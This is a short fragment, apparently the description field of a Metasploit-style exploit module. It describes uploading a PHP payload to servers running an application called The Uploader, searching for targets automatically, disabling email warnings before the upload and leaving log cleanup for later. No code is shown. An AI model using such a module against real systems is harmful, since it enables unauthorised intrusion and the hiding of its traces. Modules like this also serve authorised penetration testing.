'Description'=> %q{  
This module exploits various flaws in The Uploader to upload a PHP payload  
to target system. When run with defaults it will search possible URIs for  
the application and exploit it automatically. Works against both English  
and Italian language versions. Notably it disables pre-emptive email warnings  
before uploading the payload, though it leaves log cleanup as a  
post-exploitation task.
